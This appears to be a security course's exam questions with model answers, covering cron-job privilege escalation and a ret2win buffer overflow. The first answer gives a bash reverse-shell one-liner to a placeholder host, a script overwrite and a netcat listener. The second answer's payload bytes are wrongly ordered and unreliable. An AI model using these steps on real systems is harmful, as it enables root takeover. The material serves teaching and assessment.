

Lab questions 202407

Question 4 - 1x

Objective

The objective of this question is to assess students' understanding of exploiting cronjob vulnerabilities to achieve privilege escalation on Unix-like systems. The students should demonstrate knowledge of identifying and exploiting such vulnerabilities and understanding their implications in a real-world scenario.

Scenario

During your penetration test of a Unix-based server, you find a cronjob that executes a script named `backup.sh` every day with root privileges. The `backup.sh` script is located in `/usr/local/bin/` and has the following permissions:

None

```
-rwxrw-r-- 1 root staff 1234 Jun 10 12:00 /usr/local/bin/backup.sh
```

The crontab entry for this script looks as follows:

None

```
# Minute Hour Day of Month Month Day of Week Command
0 0 * * * /usr/local/bin/backup.sh
```

Question

1. Describe the steps you would take to exploit this cronjob to achieve privilege escalation. Specifically, outline the commands you would use and explain the

rationale behind each step. Assume that you have a user account on the system with regular user privileges.

2. How long, on average, would you need to wait for the script to be executed after you have overwritten it?
3. What group should your user account belong to to be able to exploit this vulnerability?

Answer

Exploiting crontab job with weak permission

To exploit the writable cron script to achieve privilege escalation, follow these steps:

1. **Create a Reverse Shell Script:** Create a script that will give you a reverse shell when executed:

None

```
echo 'bash -i >& /dev/tcp/your_ip/your_port 0>&1' > /tmp/reverse.sh  
chmod +x /tmp/reverse.sh
```

Replace `your_ip` and `your_port` with your actual IP address and port number where you will be listening for the connection.

2. **Overwrite the Vulnerable Script:** Overwrite the backup.sh script with your reverse shell script:

None

```
cp /tmp/reverse.sh /usr/local/bin/backup.sh
```

3. **Set Up a Netcat Listener:** Set up a netcat listener on your machine to catch the reverse shell connection. The following command should be run on the attacker's machine:

None

```
nc -lvp your_port
```

Replace `your_port` with the same port number you used in the reverse shell script.

4. **Wait for the Cronjob to Execute:** The cronjob runs every day at midnight, so you will receive a connection back when the cronjob executes the `backup.sh` script, running your reverse shell script with root privileges and giving you a root shell on the target server.

Time to Wait

On average, you would need to wait 12 hours for the script to be executed after you have overwritten it. This is because the script is scheduled to run once a day at midnight, so the average wait time is half of the 24-hour period.

Required Group Membership

The user account used to compromise the machine should belong to the `staff` group to exploit this vulnerability. This is because the `backup.sh` script is writable by users who are members of the `staff` group.

Should you not be in that group, you will need to leverage lateral movement.

Question 5 - 1.5x

Objective

This question aims to assess students' understanding of the ret2win vulnerability and their ability to exploit it. It focuses on their ability to identify and manipulate the return address to hijack the program control flow and execute an unintended function.

Scenario

You are provided with a simple C program that is vulnerable to a buffer overflow. The program includes a secret function that is not called under normal operation. By exploiting the buffer overflow vulnerability, you need to redirect the program's execution to this secret function.

None

```
#include <stdio.h>
```

```
void print_secret() {
```

```
    // Only authorized users should access this function
```

```
    puts("*secret*");
```

```
}
```

```
void get_user() {
```

```
    char str[16];
```

```
    puts("What is your name?");
```

```
    gets(str);
```

```
    printf("Hello %s!\n", str);
```

```
}
```

```
int main() {
```

```
    get_user();
```

```
    return 0;
```

```
}
```

Assume ASLR is disabled and that the program has been compiled using the following command:

None

```
gcc -o simple-bo simple-bo.c -fno-stack-protector -no-pie
```

Moreover, assume that:

- the compiler doesn't produce any optimization (e.g., removing unused functions or some special byte-alignment);
- The system architecture is x86 64 bits.

Question

1. Identify the vulnerability in the provided code.
2. Explain how you would exploit this vulnerability to call the `print_secret` function (assume its address in memory is `0x0ca0b400`).
3. Discuss the role of security mechanisms such as stack canaries and Address Space Layout Randomization (ASLR) in preventing this type of exploit.

Answer

Identify the Vulnerability

The vulnerability in the provided code is a buffer overflow in the `gets` function used in the `get_user` function. The `gets` function does not check the length of the input, allowing an attacker to overflow the buffer `str` and overwrite the return address.

Exploit the Vulnerability:

To exploit this vulnerability, an attacker would:

- Input more than 16 bytes to overflow the `str` buffer.
- Overwrite the saved frame pointer.
- Overwrite the saved return address on the stack with the address of the `print_secret` function.

Steps to perform the exploit:

- Determine the exact address of the `print_secret` function.
- Craft an input payload consisting of 16 bytes (to fill the buffer), followed by 8 bytes (to overwrite the saved frame pointer), and finally the address of `print_secret`.

Example payload (assuming `print_secret` address is `0x00000000ca0b400`), mind the byte order:

None

`[16 bytes of junk][8 bytes of junk][0x0ca0b400]`

`AAAAAAAAAAAAAAAA BBBBBBBB 00000000b4a00c`

Role of Security Mechanisms:

- **Stack Canaries:** Stack canaries are special values placed on the stack before the return address. They are checked before the function returns. If an overflow overwrites the canary, the program detects the anomaly and terminates, preventing the exploit.
- **ASLR (Address Space Layout Randomization):** ASLR randomizes the memory addresses used by system and program files. It makes it difficult for an attacker to predict the address of the `print_secret` function, thereby hindering the exploit.

Bonus

The vulnerability can be exploited to grant RCE, via `ret2libc` (even without disabling ASLR).